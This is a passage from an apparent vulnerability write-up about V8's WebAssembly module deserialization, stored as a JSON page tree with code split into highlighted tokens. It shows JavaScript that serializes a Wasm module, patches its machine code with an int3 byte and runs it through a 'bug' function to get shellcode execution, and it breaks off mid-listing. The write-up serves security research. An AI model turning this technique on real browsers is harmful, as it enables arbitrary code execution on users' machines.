code",{"type":25,"tag":38,"props":137339,"children":137340},{},[137341,137343,137349],{"type":31,"value":137342},"This will bring us nicely to the final ",{"type":25,"tag":82,"props":137344,"children":137346},{"className":137345},[],[137347],{"type":31,"value":137348},"yield a16",{"type":31,"value":137350},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":25,"tag":607,"props":137352,"children":137354},{"id":137353},"executing-shellcode",[137355],{"type":31,"value":137356},"Executing Shellcode",{"type":25,"tag":38,"props":137358,"children":137359},{},[137360],{"type":31,"value":137361},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":25,"tag":206,"props":137363,"children":137365},{"code":137364,"language":39572,"meta":7,"className":39570,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[137366],{"type":25,"tag":82,"props":137367,"children":137368},{"__ignoreMap":7},[137369,137399,137626,137694,137701,137746,137792,137832,137839,137863,137900,137936],{"type":25,"tag":216,"props":137370,"children":137371},{"class":6916,"line":6917},[137372,137376,137381,137385,137389,137394],{"type":25,"tag":216,"props":137373,"children":137374},{"style":6930},[137375],{"type":31,"value":39004},{"type":25,"tag":216,"props":137377,"children":137378},{"style":6941},[137379],{"type":31,"value":137380}," wasm_code",{"type":25,"tag":216,"props":137382,"children":137383},{"style":6947},[137384],{"type":31,"value":6950},{"type":25,"tag":216,"props":137386,"children":137387},{"style":6930},[137388],{"type":31,"value":35889},{"type":25,"tag":216,"props":137390,"children":137391},{"style":7041},[137392],{"type":31,"value":137393}," Uint8Array",{"type":25,"tag":216,"props":137395,"children":137396},{"style":6958},[137397],{"type":31,"value":137398},"([\n",{"type":25,"tag":216,"props":137400,"children":137401},{"class":6916,"line":6763},[137402,137407,137411,137416,137420,137425,137429,137434,137438,137442,137446,137450,137454,137458,137462,137466,137470,137474,137478,137482,137486,137490,137494,137499,137503,137507,137511,137515,137519,137523,137527,137531,137535,137539,137543,137547,137551,137555,137559,137563,137567,137571,137575,137579,137583,137587,137591,137596,137600,137605,137609,137614,137618,137622],{"type":25,"tag":216,"props":137403,"children":137404},{"style":6983},[137405],{"type":31,"value":137406},"  0",{"type":25,"tag":216,"props":137408,"children":137409},{"style":6958},[137410],{"type":31,"value":7020},{"type":25,"tag":216,"props":137412,"children":137413},{"style":6983},[137414],{"type":31,"value":137415},"97",{"type":25,"tag":216,"props":137417,"children":137418},{"style":6958},[137419],{"type":31,"value":7020},{"type":25,"tag":216,"props":137421,"children":137422},{"style":6983},[137423],{"type":31,"value":137424},"115",{"type":25,"tag":216,"props":137426,"children":137427},{"style":6958},[137428],{"type":31,"value":7020},{"type":25,"tag":216,"props":137430,"children":137431},{"style":6983},[137432],{"type":31,"value":137433},"109",{"type":25,"tag":216,"props":137435,"children":137436},{"style":6958},[137437],{"type":31,"value":7020},{"type":25,"tag":216,"props":137439,"children":137440},{"style":6983},[137441],{"type":31,"value":184},{"type":25,"tag":216,"props":137443,"children":137444},{"style":6958},[137445],{"type":31,"value":7020},{"type":25,"tag":216,"props":137447,"children":137448},{"style":6983},[137449],{"type":31,"value":1876},{"type":25,"tag":216,"props":137451,"children":137452},{"style":6958},[137453],{"type":31,"value":7020},{"type":25,"tag":216,"props":137455,"children":137456},{"style":6983},[137457],{"type":31,"value":1876},{"type":25,"tag":216,"props":137459,"children":137460},{"style":6958},[137461],{"type":31,"value":7020},{"type":25,"tag":216,"props":137463,"children":137464},{"style":6983},[137465],{"type":31,"value":1876},{"type":25,"tag":216,"props":137467,"children":137468},{"style":6958},[137469],{"type":31,"value":7020},{"type":25,"tag":216,"props":137471,"children":137472},{"style":6983},[137473],{"type":31,"value":184},{"type":25,"tag":216,"props":137475,"children":137476},{"style":6958},[137477],{"type":31,"value":7020},{"type":25,"tag":216,"props":137479,"children":137480},{"style":6983},[137481],{"type":31,"value":21480},{"type":25,"tag":216,"props":137483,"children":137484},{"style":6958},[137485],{"type":31,"value":7020},{"type":25,"tag":216,"props":137487,"children":137488},{"style":6983},[137489],{"type":31,"value":184},{"type":25,"tag":216,"props":137491,"children":137492},{"style":6958},[137493],{"type":31,"value":7020},{"type":25,"tag":216,"props":137495,"children":137496},{"style":6983},[137497],{"type":31,"value":137498},"96",{"type":25,"tag":216,"props":137500,"children":137501},{"style":6958},[137502],{"type":31,"value":7020},{"type":25,"tag":216,"props":137504,"children":137505},{"style":6983},[137506],{"type":31,"value":1876},{"type":25,"tag":216,"props":137508,"children":137509},{"style":6958},[137510],{"type":31,"value":7020},{"type":25,"tag":216,"props":137512,"children":137513},{"style":6983},[137514],{"type":31,"value":1876},{"type":25,"tag":216,"props":137516,"children":137517},{"style":6958},[137518],{"type":31,"value":7020},{"type":25,"tag":216,"props":137520,"children":137521},{"style":6983},[137522],{"type":31,"value":21247},{"type":25,"tag":216,"props":137524,"children":137525},{"style":6958},[137526],{"type":31,"value":7020},{"type":25,"tag":216,"props":137528,"children":137529},{"style":6983},[137530],{"type":31,"value":331},{"type":25,"tag":216,"props":137532,"children":137533},{"style":6958},[137534],{"type":31,"value":7020},{"type":25,"tag":216,"props":137536,"children":137537},{"style":6983},[137538],{"type":31,"value":184},{"type":25,"tag":216,"props":137540,"children":137541},{"style":6958},[137542],{"type":31,"value":7020},{"type":25,"tag":216,"props":137544,"children":137545},{"style":6983},[137546],{"type":31,"value":1876},{"type":25,"tag":216,"props":137548,"children":137549},{"style":6958},[137550],{"type":31,"value":7020},{"type":25,"tag":216,"props":137552,"children":137553},{"style":6983},[137554],{"type":31,"value":58633},{"type":25,"tag":216,"props":137556,"children":137557},{"style":6958},[137558],{"type":31,"value":7020},{"type":25,"tag":216,"props":137560,"children":137561},{"style":6983},[137562],{"type":31,"value":59848},{"type":25,"tag":216,"props":137564,"children":137565},{"style":6958},[137566],{"type":31,"value":7020},{"type":25,"tag":216,"props":137568,"children":137569},{"style":6983},[137570],{"type":31,"value":184},{"type":25,"tag":216,"props":137572,"children":137573},{"style":6958},[137574],{"type":31,"value":7020},{"type":25,"tag":216,"props":137576,"children":137577},{"style":6983},[137578],{"type":31,"value":22061},{"type":25,"tag":216,"props":137580,"children":137581},{"style":6958},[137582],{"type":31,"value":7020},{"type":25,"tag":216,"props":137584,"children":137585},{"style":6983},[137586],{"type":31,"value":137424},{"type":25,"tag":216,"props":137588,"children":137589},{"style":6958},[137590],{"type":31,"value":7020},{"type":25,"tag":216,"props":137592,"children":137593},{"style":6983},[137594],{"type":31,"value":137595},"104",{"type":25,"tag":216,"props":137597,"children":137598},{"style":6958},[137599],{"type":31,"value":7020},{"type":25,"tag":216,"props":137601,"children":137602},{"style":6983},[137603],{"type":31,"value":137604},"101",{"type":25,"tag":216,"props":137606,"children":137607},{"style":6958},[137608],{"type":31,"value":7020},{"type":25,"tag":216,"props":137610,"children":137611},{"style":6983},[137612],{"type":31,"value":137613},"108",{"type":25,"tag":216,"props":137615,"children":137616},{"style":6958},[137617],{"type":31,"value":7020},{"type":25,"tag":216,"props":137619,"children":137620},{"style":6983},[137621],{"type":31,"value":137613},{"type":25,"tag":216,"props":137623,"children":137624},{"style":6958},[137625],{"type":31,"value":7459},{"type":25,"tag":216,"props":137627,"children":137628},{"class":6916,"line":6772},[137629,137633,137637,137641,137645,137649,137653,137657,137661,137665,137669,137673,137677,137681,137685,137690],{"type":25,"tag":216,"props":137630,"children":137631},{"style":6983},[137632],{"type":31,"value":137406},{"type":25,"tag":216,"props":137634,"children":137635},{"style":6958},[137636],{"type":31,"value":7020},{"type":25,"tag":216,"props":137638,"children":137639},{"style":6983},[137640],{"type":31,"value":1876},{"type":25,"tag":216,"props":137642,"children":137643},{"style":6958},[137644],{"type":31,"value":7020},{"type":25,"tag":216,"props":137646,"children":137647},{"style":6983},[137648],{"type":31,"value":93218},{"type":25,"tag":216,"props":137650,"children":137651},{"style":6958},[137652],{"type":31,"value":7020},{"type":25,"tag":216,"props":137654,"children":137655},{"style":6983},[137656],{"type":31,"value":21480},{"type":25,"tag":216,"props":137658,"children":137659},{"style":6958},[137660],{"type":31,"value":7020},{"type":25,"tag":216,"props":137662,"children":137663},{"style":6983},[137664],{"type":31,"value":184},{"type":25,"tag":216,"props":137666,"children":137667},{"style":6958},[137668],{"type":31,"value":7020},{"type":25,"tag":216,"props":137670,"children":137671},{"style":6983},[137672],{"type":31,"value":331},{"type":25,"tag":216,"props":137674,"children":137675},{"style":6958},[137676],{"type":31,"value":7020},{"type":25,"tag":216,"props":137678,"children":137679},{"style":6983},[137680],{"type":31,"value":1876},{"type":25,"tag":216,"props":137682,"children":137683},{"style":6958},[137684],{"type":31,"value":7020},{"type":25,"tag":216,"props":137686,"children":137687},{"style":6983},[137688],{"type":31,"value":137689},"11",{"type":25,"tag":216,"props":137691,"children":137692},{"style":6958},[137693],{"type":31,"value":7459},{"type":25,"tag":216,"props":137695,"children":137696},{"class":6916,"line":6999},[137697],{"type":25,"tag":216,"props":137698,"children":137699},{"style":6958},[137700],{"type":31,"value":7713},{"type":25,"tag":216,"props":137702,"children":137703},{"class":6916,"line":7104},[137704,137708,137712,137716,137720,137725,137729,137733,137737,137742],{"type":25,"tag":216,"props":137705,"children":137706},{"style":6930},[137707],{"type":31,"value":39004},{"type":25,"tag":216,"props":137709,"children":137710},{"style":6941},[137711],{"type":31,"value":75588},{"type":25,"tag":216,"props":137713,"children":137714},{"style":6947},[137715],{"type":31,"value":6950},{"type":25,"tag":216,"props":137717,"children":137718},{"style":6930},[137719],{"type":31,"value":35889},{"type":25,"tag":216,"props":137721,"children":137722},{"style":6941},[137723],{"type":31,"value":137724}," WebAssembly",{"type":25,"tag":216,"props":137726,"children":137727},{"style":6958},[137728],{"type":31,"value":179},{"type":25,"tag":216,"props":137730,"children":137731},{"style":7041},[137732],{"type":31,"value":89884},{"type":25,"tag":216,"props":137734,"children":137735},{"style":6958},[137736],{"type":31,"value":1844},{"type":25,"tag":216,"props":137738,"children":137739},{"style":6941},[137740],{"type":31,"value":137741},"wasm_code",{"type":25,"tag":216,"props":137743,"children":137744},{"style":6958},[137745],{"type":31,"value":7791},{"type":25,"tag":216,"props":137747,"children":137748},{"class":6916,"line":7210},[137749,137753,137758,137762,137766,137770,137774,137779,137783,137788],{"type":25,"tag":216,"props":137750,"children":137751},{"style":6930},[137752],{"type":31,"value":39004},{"type":25,"tag":216,"props":137754,"children":137755},{"style":6941},[137756],{"type":31,"value":137757}," inst",{"type":25,"tag":216,"props":137759,"children":137760},{"style":6947},[137761],{"type":31,"value":6950},{"type":25,"tag":216,"props":137763,"children":137764},{"style":6930},[137765],{"type":31,"value":35889},{"type":25,"tag":216,"props":137767,"children":137768},{"style":6941},[137769],{"type":31,"value":137724},{"type":25,"tag":216,"props":137771,"children":137772},{"style":6958},[137773],{"type":31,"value":179},{"type":25,"tag":216,"props":137775,"children":137776},{"style":7041},[137777],{"type":31,"value":137778},"Instance",{"type":25,"tag":216,"props":137780,"children":137781},{"style":6958},[137782],{"type":31,"value":1844},{"type":25,"tag":216,"props":137784,"children":137785},{"style":6941},[137786],{"type":31,"value":137787},"mod",{"type":25,"tag":216,"props":137789,"children":137790},{"style":6958},[137791],{"type":31,"value":7791},{"type":25,"tag":216,"props":137793,"children":137794},{"class":6916,"line":7238},[137795,137799,137803,137807,137811,137815,137819,137823,137828],{"type":25,"tag":216,"props":137796,"children":137797},{"style":6930},[137798],{"type":31,"value":39004},{"type":25,"tag":216,"props":137800,"children":137801},{"style":6941},[137802],{"type":31,"value":83975},{"type":25,"tag":216,"props":137804,"children":137805},{"style":6947},[137806],{"type":31,"value":6950},{"type":25,"tag":216,"props":137808,"children":137809},{"style":6941},[137810],{"type":31,"value":137757},{"type":25,"tag":216,"props":137812,"children":137813},{"style":6958},[137814],{"type":31,"value":179},{"type":25,"tag":216,"props":137816,"children":137817},{"style":6941},[137818],{"type":31,"value":41843},{"type":25,"tag":216,"props":137820,"children":137821},{"style":6958},[137822],{"type":31,"value":179},{"type":25,"tag":216,"props":137824,"children":137825},{"style":6941},[137826],{"type":31,"value":137827},"shell",{"type":25,"tag":216,"props":137829,"children":137830},{"style":6958},[137831],{"type":31,"value":6961},{"type":25,"tag":216,"props":137833,"children":137834},{"class":6916,"line":7251},[137835],{"type":25,"tag":216,"props":137836,"children":137837},{"emptyLinePlaceholder":16},[137838],{"type":31,"value":7636},{"type":25,"tag":216,"props":137840,"children":137841},{"class":6916,"line":7269},[137842,137846,137851,137855,137859],{"type":25,"tag":216,"props":137843,"children":137844},{"style":6947},[137845],{"type":31,"value":60351},{"type":25,"tag":216,"props":137847,"children":137848},{"style":7041},[137849],{"type":31,"value":137850},"WasmTierUpFunction",{"type":25,"tag":216,"props":137852,"children":137853},{"style":6958},[137854],{"type":31,"value":1844},{"type":25,"tag":216,"props":137856,"children":137857},{"style":6941},[137858],{"type":31,"value":80266},{"type":25,"tag":216,"props":137860,"children":137861},{"style":6958},[137862],{"type":31,"value":7791},{"type":25,"tag":216,"props":137864,"children":137865},{"class":6916,"line":7290},[137866,137870,137875,137879,137884,137888,137892,137896],{"type":25,"tag":216,"props":137867,"children":137868},{"style":6930},[137869],{"type":31,"value":39004},{"type":25,"tag":216,"props":137871,"children":137872},{"style":6941},[137873],{"type":31,"value":137874}," serialized",{"type":25,"tag":216,"props":137876,"children":137877},{"style":6947},[137878],{"type":31,"value":6950},{"type":25,"tag":216,"props":137880,"children":137881},{"style":6947},[137882],{"type":31,"value":137883}," %",{"type":25,"tag":216,"props":137885,"children":137886},{"style":7041},[137887],{"type":31,"value":136882},{"type":25,"tag":216,"props":137889,"children":137890},{"style":6958},[137891],{"type":31,"value":1844},{"type":25,"tag":216,"props":137893,"children":137894},{"style":6941},[137895],{"type":31,"value":137787},{"type":25,"tag":216,"props":137897,"children":137898},{"style":6958},[137899],{"type":31,"value":7791},{"type":25,"tag":216,"props":137901,"children":137902},{"class":6916,"line":7299},[137903,137907,137911,137915,137919,137923,137927,137932],{"type":25,"tag":216,"props":137904,"children":137905},{"style":6930},[137906],{"type":31,"value":15737},{"type":25,"tag":216,"props":137908,"children":137909},{"style":6941},[137910],{"type":31,"value":13109},{"type":25,"tag":216,"props":137912,"children":137913},{"style":6947},[137914],{"type":31,"value":6950},{"type":25,"tag":216,"props":137916,"children":137917},{"style":6930},[137918],{"type":31,"value":35889},{"type":25,"tag":216,"props":137920,"children":137921},{"style":7041},[137922],{"type":31,"value":137393},{"type":25,"tag":216,"props":137924,"children":137925},{"style":6958},[137926],{"type":31,"value":1844},{"type":25,"tag":216,"props":137928,"children":137929},{"style":6941},[137930],{"type":31,"value":137931},"serialized",{"type":25,"tag":216,"props":137933,"children":137934},{"style":6958},[137935],{"type":31,"value":7791},{"type":25,"tag":216,"props":137937,"children":137938},{"class":6916,"line":7551},[137939,137944,137948,137952,137956,137961,137965,137969,137973,137978,137982,137987,137991,137995,138000],{"type":25,"tag":216,"props":137940,"children":137941},{"style":6941},[137942],{"type":31,"value":137943},"console",{"type":25,"tag":216,"props":137945,"children":137946},{"style":6958},[137947],{"type":31,"value":179},{"type":25,"tag":216,"props":137949,"children":137950},{"style":7041},[137951],{"type":31,"value":105905},{"type":25,"tag":216,"props":137953,"children":137954},{"style":6958},[137955],{"type":31,"value":1844},{"type":25,"tag":216,"props":137957,"children":137958},{"style":8199},[137959],{"type":31,"value":137960},"'['",{"type":25,"tag":216,"props":137962,"children":137963},{"style":6947},[137964],{"type":31,"value":12852},{"type":25,"tag":216,"props":137966,"children":137967},{"style":6941},[137968],{"type":31,"value":13109},{"type":25,"tag":216,"props":137970,"children":137971},{"style":6958},[137972],{"type":31,"value":179},{"type":25,"tag":216,"props":137974,"children":137975},{"style":7041},[137976],{"type":31,"value":137977},"join",{"type":25,"tag":216,"props":137979,"children":137980},{"style":6958},[137981],{"type":31,"value":1844},{"type":25,"tag":216,"props":137983,"children":137984},{"style":8199},[137985],{"type":31,"value":137986},"', '",{"type":25,"tag":216,"props":137988,"children":137989},{"style":6958},[137990],{"type":31,"value":7030},{"type":25,"tag":216,"props":137992,"children":137993},{"style":6947},[137994],{"type":31,"value":3533},{"type":25,"tag":216,"props":137996,"children":137997},{"style":8199},[137998],{"type":31,"value":137999}," ']'",{"type":25,"tag":216,"props":138001,"children":138002},{"style":6958},[138003],{"type":31,"value":7791},{"type":25,"tag":38,"props":138005,"children":138006},{},[138007],{"type":31,"value":138008},"This produces the following output:",{"type":25,"tag":206,"props":138010,"children":138012},{"code":138011},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[138013],{"type":25,"tag":82,"props":138014,"children":138015},{"__ignoreMap":7},[138016],{"type":31,"value":138011},{"type":25,"tag":38,"props":138018,"children":138019},{},[138020,138022,138028,138030,138036,138038,138044,138045,138051,138053,138058],{"type":31,"value":138021},"The bytes ",{"type":25,"tag":82,"props":138023,"children":138025},{"className":138024},[],[138026],{"type":31,"value":138027},"85, 72, 137, 229, ...",{"type":31,"value":138029}," correspond to the x86-64 function prologue (",{"type":25,"tag":82,"props":138031,"children":138033},{"className":138032},[],[138034],{"type":31,"value":138035},"push rbp; mov rbp, rsp",{"type":31,"value":138037},"). We replace the first byte with ",{"type":25,"tag":82,"props":138039,"children":138041},{"className":138040},[],[138042],{"type":31,"value":138043},"0xcc",{"type":31,"value":20412},{"type":25,"tag":82,"props":138046,"children":138048},{"className":138047},[],[138049],{"type":31,"value":138050},"int3",{"type":31,"value":138052}," opcode), and use this modified buffer as the serialized input to ",{"type":25,"tag":82,"props":138054,"children":138056},{"className":138055},[],[138057],{"type":31,"value":136856},{"type":31,"value":1466},{"type":25,"tag":206,"props":138060,"children":138062},{"code":138061,"language":39572,"meta":7,"className":39570,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[138063],{"type":25,"tag":82,"props":138064,"children":138065},{"__ignoreMap":7},[138066,138089,138116,138336,138403,138411,138438,138651,138903,139154,139380,139624,139844,139851,139900,139945,139989,140028,140040],{"type":25,"tag":216,"props":138067,"children":138068},{"class":6916,"line":6917},[138069,138073,138077,138081,138085],{"type":25,"tag":216,"props":138070,"children":138071},{"style":6958},[138072],{"type":31,"value":1844},{"type":25,"tag":216,"props":138074,"children":138075},{"style":6930},[138076],{"type":31,"value":40102},{"type":25,"tag":216,"props":138078,"children":138079},{"style":6958},[138080],{"type":31,"value":43654},{"type":25,"tag":216,"props":138082,"children":138083},{"style":6930},[138084],{"type":31,"value":18773},{"type":25,"tag":216,"props":138086,"children":138087},{"style":6958},[138088],{"type":31,"value":7235},{"type":25,"tag":216,"props":138090,"children":138091},{"class":6916,"line":6763},[138092,138096,138100,138104,138108,138112],{"type":25,"tag":216,"props":138093,"children":138094},{"style":6930},[138095],{"type":31,"value":40145},{"type":25,"tag":216,"props":138097,"children":138098},{"style":6941},[138099],{"type":31,"value":137380},{"type":25,"tag":216,"props":138101,"children":138102},{"style":6947},[138103],{"type":31,"value":6950},{"type":25,"tag":216,"props":138105,"children":138106},{"style":6930},[138107],{"type":31,"value":35889},{"type":25,"tag":216,"props":138109,"children":138110},{"style":7041},[138111],{"type":31,"value":137393},{"type":25,"tag":216,"props":138113,"children":138114},{"style":6958},[138115],{"type":31,"value":137398},{"type":25,"tag":216,"props":138117,"children":138118},{"class":6916,"line":6772},[138119,138124,138128,138132,138136,138140,138144,138148,138152,138156,138160,138164,138168,138172,138176,138180,138184,138188,138192,138196,138200,138204,138208,138212,138216,138220,138224,138228,138232,138236,138240,138244,138248,138252,138256,138260,138264,138268,138272,138276,138280,138284,138288,138292,138296,138300,138304,138308,138312,138316,138320,138324,138328,138332],{"type":25,"tag":216,"props":138120,"children":138121},{"style":6983},[138122],{"type":31,"value":138123},"    0",{"type":25,"tag":216,"props":138125,"children":138126},{"style":6958},[138127],{"type":31,"value":7020},{"type":25,"tag":216,"props":138129,"children":138130},{"style":6983},[138131],{"type":31,"value":137415},{"type":25,"tag":216,"props":138133,"children":138134},{"style":6958},[138135],{"type":31,"value":7020},{"type":25,"tag":216,"props":138137,"children":138138},{"style":6983},[138139],{"type":31,"value":137424},{"type":25,"tag":216,"props":138141,"children":138142},{"style":6958},[138143],{"type":31,"value":7020},{"type":25,"tag":216,"props":138145,"children":138146},{"style":6983},[138147],{"type":31,"value":137433},{"type":25,"tag":216,"props":138149,"children":138150},{"style":6958},[138151],{"type":31,"value":7020},{"type":25,"tag":216,"props":138153,"children":138154},{"style":6983},[138155],{"type":31,"value":184},{"type":25,"tag":216,"props":138157,"children":138158},{"style":6958},[138159],{"type":31,"value":7020},{"type":25,"tag":216,"props":138161,"children":138162},{"style":6983},[138163],{"type":31,"value":1876},{"type":25,"tag":216,"props":138165,"children":138166},{"style":6958},[138167],{"type":31,"value":7020},{"type":25,"tag":216,"props":138169,"children":138170},{"style":6983},[138171],{"type":31,"value":1876},{"type":25,"tag":216,"props":138173,"children":138174},{"style":6958},[138175],{"type":31,"value":7020},{"type":25,"tag":216,"props":138177,"children":138178},{"style":6983},[138179],{"type":31,"value":1876},{"type":25,"tag":216,"props":138181,"children":138182},{"style":6958},[138183],{"type":31,"value":7020},{"type":25,"tag":216,"props":138185,"children":138186},{"style":6983},[138187],{"type":31,"value":184},{"type":25,"tag":216,"props":138189,"children":138190},{"style":6958},[138191],{"type":31,"value":7020},{"type":25,"tag":216,"props":138193,"children":138194},{"style":6983},[138195],{"type":31,"value":21480},{"type":25,"tag":216,"props":138197,"children":138198},{"style":6958},[138199],{"type":31,"value":7020},{"type":25,"tag":216,"props":138201,"children":138202},{"style":6983},[138203],{"type":31,"value":184},{"type":25,"tag":216,"props":138205,"children":138206},{"style":6958},[138207],{"type":31,"value":7020},{"type":25,"tag":216,"props":138209,"children":138210},{"style":6983},[138211],{"type":31,"value":137498},{"type":25,"tag":216,"props":138213,"children":138214},{"style":6958},[138215],{"type":31,"value":7020},{"type":25,"tag":216,"props":138217,"children":138218},{"style":6983},[138219],{"type":31,"value":1876},{"type":25,"tag":216,"props":138221,"children":138222},{"style":6958},[138223],{"type":31,"value":7020},{"type":25,"tag":216,"props":138225,"children":138226},{"style":6983},[138227],{"type":31,"value":1876},{"type":25,"tag":216,"props":138229,"children":138230},{"style":6958},[138231],{"type":31,"value":7020},{"type":25,"tag":216,"props":138233,"children":138234},{"style":6983},[138235],{"type":31,"value":21247},{"type":25,"tag":216,"props":138237,"children":138238},{"style":6958},[138239],{"type":31,"value":7020},{"type":25,"tag":216,"props":138241,"children":138242},{"style":6983},[138243],{"type":31,"value":331},{"type":25,"tag":216,"props":138245,"children":138246},{"style":6958},[138247],{"type":31,"value":7020},{"type":25,"tag":216,"props":138249,"children":138250},{"style":6983},[138251],{"type":31,"value":184},{"type":25,"tag":216,"props":138253,"children":138254},{"style":6958},[138255],{"type":31,"value":7020},{"type":25,"tag":216,"props":138257,"children":138258},{"style":6983},[138259],{"type":31,"value":1876},{"type":25,"tag":216,"props":138261,"children":138262},{"style":6958},[138263],{"type":31,"value":7020},{"type":25,"tag":216,"props":138265,"children":138266},{"style":6983},[138267],{"type":31,"value":58633},{"type":25,"tag":216,"props":138269,"children":138270},{"style":6958},[138271],{"type":31,"value":7020},{"type":25,"tag":216,"props":138273,"children":138274},{"style":6983},[138275],{"type":31,"value":59848},{"type":25,"tag":216,"props":138277,"children":138278},{"style":6958},[138279],{"type":31,"value":7020},{"type":25,"tag":216,"props":138281,"children":138282},{"style":6983},[138283],{"type":31,"value":184},{"type":25,"tag":216,"props":138285,"children":138286},{"style":6958},[138287],{"type":31,"value":7020},{"type":25,"tag":216,"props":138289,"children":138290},{"style":6983},[138291],{"type":31,"value":22061},{"type":25,"tag":216,"props":138293,"children":138294},{"style":6958},[138295],{"type":31,"value":7020},{"type":25,"tag":216,"props":138297,"children":138298},{"style":6983},[138299],{"type":31,"value":137424},{"type":25,"tag":216,"props":138301,"children":138302},{"style":6958},[138303],{"type":31,"value":7020},{"type":25,"tag":216,"props":138305,"children":138306},{"style":6983},[138307],{"type":31,"value":137595},{"type":25,"tag":216,"props":138309,"children":138310},{"style":6958},[138311],{"type":31,"value":7020},{"type":25,"tag":216,"props":138313,"children":138314},{"style":6983},[138315],{"type":31,"value":137604},{"type":25,"tag":216,"props":138317,"children":138318},{"style":6958},[138319],{"type":31,"value":7020},{"type":25,"tag":216,"props":138321,"children":138322},{"style":6983},[138323],{"type":31,"value":137613},{"type":25,"tag":216,"props":138325,"children":138326},{"style":6958},[138327],{"type":31,"value":7020},{"type":25,"tag":216,"props":138329,"children":138330},{"style":6983},[138331],{"type":31,"value":137613},{"type":25,"tag":216,"props":138333,"children":138334},{"style":6958},[138335],{"type":31,"value":7459},{"type":25,"tag":216,"props":138337,"children":138338},{"class":6916,"line":6999},[138339,138343,138347,138351,138355,138359,138363,138367,138371,138375,138379,138383,138387,138391,138395,138399],{"type":25,"tag":216,"props":138340,"children":138341},{"style":6983},[138342],{"type":31,"value":138123},{"type":25,"tag":216,"props":138344,"children":138345},{"style":6958},[138346],{"type":31,"value":7020},{"type":25,"tag":216,"props":138348,"children":138349},{"style":6983},[138350],{"type":31,"value":1876},{"type":25,"tag":216,"props":138352,"children":138353},{"style":6958},[138354],{"type":31,"value":7020},{"type":25,"tag":216,"props":138356,"children":138357},{"style":6983},[138358],{"type":31,"value":93218},{"type":25,"tag":216,"props":138360,"children":138361},{"style":6958},[138362],{"type":31,"value":7020},{"type":25,"tag":216,"props":138364,"children":138365},{"style":6983},[138366],{"type":31,"value":21480},{"type":25,"tag":216,"props":138368,"children":138369},{"style":6958},[138370],{"type":31,"value":7020},{"type":25,"tag":216,"props":138372,"children":138373},{"style":6983},[138374],{"type":31,"value":184},{"type":25,"tag":216,"props":138376,"children":138377},{"style":6958},[138378],{"type":31,"value":7020},{"type":25,"tag":216,"props":138380,"children":138381},{"style":6983},[138382],{"type":31,"value":331},{"type":25,"tag":216,"props":138384,"children":138385},{"style":6958},[138386],{"type":31,"value":7020},{"type":25,"tag":216,"props":138388,"children":138389},{"style":6983},[138390],{"type":31,"value":1876},{"type":25,"tag":216,"props":138392,"children":138393},{"style":6958},[138394],{"type":31,"value":7020},{"type":25,"tag":216,"props":138396,"children":138397},{"style":6983},[138398],{"type":31,"value":137689},{"type":25,"tag":216,"props":138400,"children":138401},{"style":6958},[138402],{"type":31,"value":7459},{"type":25,"tag":216,"props":138404,"children":138405},{"class":6916,"line":7104},[138406],{"type":25,"tag":216,"props":138407,"children":138408},{"style":6958},[138409],{"type":31,"value":138410},"  